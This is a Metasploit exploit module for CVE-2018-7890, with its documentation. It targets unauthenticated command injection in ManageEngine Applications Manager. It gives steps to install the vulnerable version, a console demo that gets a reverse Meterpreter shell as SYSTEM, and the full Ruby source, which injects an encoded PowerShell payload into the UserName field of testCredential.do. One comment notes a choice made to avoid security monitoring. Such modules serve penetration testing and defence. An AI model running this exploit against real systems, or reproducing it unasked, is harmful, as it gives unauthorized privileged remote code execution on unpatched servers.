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exploit/windows/http/manageengine_appmanager_exec.md## Vulnerable Application
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This module exploits command injection vulnerability in the ManageEngine Applications Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer.
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**Vulnerable Application Installation Steps**
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Go to following website and download Windows version of the product. It comes with built-in Java and Postgresql so you don't need to install anything else.
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[http://archives.manageengine.com/applications_manager/13630/](http://archives.manageengine.com/applications_manager/13630/)
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## Verification Steps
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A successful check of the exploit will look like this:
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* Start `msfconsole`
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* `use exploit/windows/http/manageengine_appmanager_exec`
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* Set `RHOST <RHOST>`
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* Set `PAYLOAD windows/meterpreter/reverse_tcp`
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* Set `LHOST <LHOST>`
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* Run `check`
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* **Verify** that you are seeing `The target is vulnerable.` in console.
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* Run `exploit`
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* **Verify** that you are seeing `Triggering the vulnerability` in console.
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* **Verify** that you are seeing `Sending stage to <TARGET>` in console.
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* **Verify** that you have your shell.
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## Demo
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```
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msf5 >
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msf5 > use exploit/windows/http/manageengine_appmanager_exec
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msf5 exploit(windows/http/manageengine_appmanager_exec) > set RHOST 12.0.0.192
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RHOST => 12.0.0.192
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msf5 exploit(windows/http/manageengine_appmanager_exec) > set payload windows/meterpreter/reverse_tcp
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payload => windows/meterpreter/reverse_tcp
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msf5 exploit(windows/http/manageengine_appmanager_exec) > set LHOST 12.0.0.1
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LHOST => 12.0.0.1
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msf5 exploit(windows/http/manageengine_appmanager_exec) > check
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[+] 12.0.0.192:9090 The target is vulnerable.
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msf5 exploit(windows/http/manageengine_appmanager_exec) > run
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[*] Started reverse TCP handler on 12.0.0.1:4444
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[*] Trigerring the vulnerability
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[*] Sending stage (179779 bytes) to 12.0.0.192
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meterpreter > getuid
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Server username: NT AUTHORITY\SYSTEM
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```
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Powershell
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def initialize(info = {})
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super(update_info(info,
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'Name' => "ManageEngine Applications Manager Remote Code Execution",
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'Description' => %q(
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This module exploits command injection vulnerability in the ManageEngine Application Manager product.
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An unauthenticated user can execute a operating system command under the context of privileged user.
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Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials
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by accessing given system. This endpoint calls a several internal classes and then executes powershell script
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without validating user supplied parameter when the given system is OfficeSharePointServer.
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),
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
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],
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'References' =>
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[
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['CVE', '2018-7890'],
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['BID', '103358'],
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['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/'],
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['URL', 'https://pitstop.manageengine.com/portal/community/topic/security-vulnerability-issues-fixed-upgrade-to-the-latest-version-of-applications-manager']
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],
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'DefaultOptions' =>
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{
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'WfsDelay' => 10,
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'RPORT' => 9090
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},
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'Payload' =>
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{
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'BadChars' => "\x22"
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},
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'Platform' => ['win'],
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'Arch' => [ARCH_X86, ARCH_X64],
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'Targets' => [['Automatic', {}]],
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'Privileged' => true,
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'DisclosureDate' => 'Mar 7 2018',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The URI of the application', '/'])
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]
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)
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end
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def check
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res = trigger_endpoint(Rex::Text.rand_text_alpha(3))
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if res && res.body.include?('Kindly check the credentials and try again')
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') unless check == Exploit::CheckCode::Vulnerable
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powershell_options = {
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encode_final_payload: true,
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remove_comspec: true
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}
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p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)
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print_status('Triggering the vulnerability')
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trigger_endpoint("$(#{p})")
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end
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def trigger_endpoint(username)
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send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'testCredential.do'),
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'vars_post' => {
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'method' => 'testCredentialForConfMonitors',
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'type' => 'OfficeSharePointServer',
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'montype' => 'OfficeSharePointServer',
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'isAgentEnabled' => 'NO',
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'isAgentAssociated' => 'false',
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'displayname' => Rex::Text.rand_text_alpha(rand(10..15)),
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'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems...
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'Powershell' => 'True', # :-)
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'CredSSP' => 'False',
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'SPType' => 'SPServer',
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'CredentialDetails' => 'nocm',
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'Password' => Rex::Text.rand_text_alpha(3),
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'UserName' => username
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}
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)
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end
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end
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